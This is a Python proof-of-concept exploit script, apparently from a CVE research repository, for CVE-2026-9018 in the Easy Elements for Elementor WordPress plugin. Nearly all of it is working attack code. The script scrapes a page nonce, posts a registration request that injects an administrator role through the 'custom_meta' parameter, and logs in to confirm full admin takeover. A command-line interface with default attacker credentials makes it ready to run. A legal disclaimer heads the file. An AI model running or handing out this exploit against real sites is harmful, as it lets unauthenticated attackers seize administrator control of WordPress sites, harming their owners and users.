5465 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / CVE-2026-9018.py PY
# ==========================================================================
# Atomic Edge CVE Research | https://atomicedge.io
# CVE-2026-9018 - Easy Elements for Elementor <= 1.4.5
# Unauthenticated Privilege Escalation via 'custom_meta' Parameter
#
# LEGAL DISCLAIMER:
# For authorized security testing and educational purposes ONLY.
# Unauthorized use is prohibited and may violate applicable laws.
# You are solely responsible for compliance with applicable laws.
# ==========================================================================

import requests
import argparse
import sys
import re
import json
from urllib.parse import urljoin

BANNER = r"""
╔══════════════════════════════════════════════════════════════╗
║   CVE-2026-9018 | Easy Elements for Elementor <= 1.4.5      ║
║   Unauthenticated Privilege Escalation via custom_meta       ║
║   Atomic Edge CVE Research | atomicedge.io                   ║
╚══════════════════════════════════════════════════════════════╝
"""

AJAX_PATH   = "/wp-admin/admin-ajax.php"
ACTION      = "eel_register"
NONCE_ID    = "easy_elements_nonce"


def fetch_nonce(session: requests.Session, target: str, nonce_page: str, verify_ssl: bool) -> str | None:
    url = urljoin(target, nonce_page)
    print(f"[*] Fetching nonce from: {url}")

    try:
        resp = session.get(url, verify=verify_ssl, timeout=15)
        resp.raise_for_status()
    except requests.exceptions.RequestException as e:
        print(f"[-] Failed to fetch nonce page: {e}")
        return None

    # Match: <input ... id="easy_elements_nonce" ... value="NONCE" ...>
    patterns = [
        r'<input[^>]*id=["\']easy_elements_nonce["\'][^>]*value=["\']([^"\']+)["\']',
        r'<input[^>]*value=["\']([^"\']+)["\'][^>]*id=["\']easy_elements_nonce["\']',
        r'"easy_elements_nonce"\s*:\s*"([^"]+)"',
        r"'easy_elements_nonce'\s*:\s*'([^']+)'",
    ]

    for pattern in patterns:
        match = re.search(pattern, resp.text, re.IGNORECASE)
        if match:
            nonce = match.group(1)
            print(f"[+] Nonce found: {nonce}")
            return nonce

    print("[-] Nonce not found. Ensure the Login/Register widget is present on the target page.")
    print(f"    Try specifying a different page with --nonce-page (e.g., /login/ or /register/)")
    return None


def escalate_privileges(
    session: requests.Session,
    target: str,
    nonce: str,
    username: str,
    email: str,
    password: str,
    verify_ssl: bool,
) -> bool:
    url = urljoin(target, AJAX_PATH)

    # Malicious payload: overwrite wp_capabilities with administrator role
    data = {
        "action":                          ACTION,
        "easy_elements_nonce":             nonce,
        "username":                        username,
        "email":                           email,
        "password":                        password,
        "custom_meta[wp_capabilities][administrator]": "1",
    }

    print(f"\n[*] Sending privilege escalation payload to: {url}")
    print(f"[*] Username : {username}")
    print(f"[*] Email    : {email}")
    print(f"[*] Role     : administrator (via wp_capabilities override)\n")

    try:
        resp = session.post(url, data=data, verify=verify_ssl, timeout=15)
        print(f"[+] HTTP Status : {resp.status_code}")
        print(f"[+] Response    : {resp.text[:400]}\n")

        try:
            decoded = resp.json()
            if decoded.get("success") is True:
                return True
            else:
                print(f"[!] Server returned success=false. Message: {decoded.get('data', 'N/A')}")
                return False
        except json.JSONDecodeError:
            # Non-JSON response — check HTTP status as fallback
            return resp.status_code == 200

    except requests.exceptions.RequestException as e:
        print(f"[-] Request failed: {e}")
        return False


def verify_admin(target: str, username: str, password: str, verify_ssl: bool) -> None:
    login_url = urljoin(target, "/wp-login.php")
    print(f"[*] Verifying admin access at: {login_url}")

    session = requests.Session()
    data = {
        "log":         username,
        "pwd":         password,
        "wp-submit":   "Log In",
        "redirect_to": "/wp-admin/",
        "testcookie":  "1",
    }

    try:
        resp = session.post(login_url, data=data, verify=verify_ssl,
                            allow_redirects=True, timeout=15)
        if "/wp-admin/" in resp.url or "Dashboard" in resp.text:
            print(f"[✓] Admin login CONFIRMED!\n")
            print(f"    ┌─────────────────────────────────────────┐")
            print(f"    │  WP Admin  : {urljoin(target, '/wp-admin/')}")
            print(f"    │  Username  : {username}")
            print(f"    │  Password  : {password}")
            print(f"    └─────────────────────────────────────────┘")
        else:
            print(f"[-] Login verification inconclusive (HTTP {resp.status_code}).")
            print(f"    Try logging in manually at: {login_url}")
    except requests.exceptions.RequestException as e:
        print(f"[-] Verification request failed: {e}")


def main():
    print(BANNER)

    parser = argparse.ArgumentParser(
        description="CVE-2026-9018 - Easy Elements for Elementor <= 1.4.5 Privilege Escalation PoC"
    )
    parser.add_argument("-u",  "--url",        required=True,
                        help="Target WordPress site URL (e.g. https://example.com)")
    parser.add_argument("-U",  "--username",   default="atomic_admin",
                        help="Username for the new admin account (default: atomic_admin)")
    parser.add_argument("-e",  "--email",      default="[email protected]",
                        help="Email for the new admin account")
    parser.add_argument("-p",  "--password",   default="Atomic@Edge2026!",
                        help="Password for the new admin account")
    parser.add_argument("-np", "--nonce-page", default="/",
                        help="Page path containing the Login/Register widget (default: /)")
    parser.add_argument("--no-verify", action="store_true",
                        help="Disable SSL certificate verification")
    parser.add_argument("--skip-verify-login", action="store_true",
                        help="Skip post-exploit admin login verification")
    args = parser.parse_args()

    target     = args.url.rstrip("/")
    verify_ssl = not args.no_verify

    session = requests.Session()
    session.headers.update({
        "User-Agent": "Mozilla/5.0 (compatible; AtomicEdge-Research/1.0)",
    })

    # Step 1: Fetch nonce
    nonce = fetch_nonce(session, target, args.nonce_page, verify_ssl)
    if not nonce:
        sys.exit(1)

    # Step 2: Privilege escalation
    success = escalate_privileges(
        session, target, nonce,
        args.username, args.email, args.password,
        verify_ssl,
    )

    if success:
        print("[✓] Privilege escalation payload accepted!\n")
        if not args.skip_verify_login:
            verify_admin(target, args.username, args.password, verify_ssl)
    else:
        print("[-] Exploit may have failed. Check prerequisites:")
        print("    • User registration must be enabled on the site")
        print("    • Login/Register widget must be published on a page")
        print("    • Try --nonce-page /login/ or /register/")
        sys.exit(1)


if __name__ == "__main__":
    main()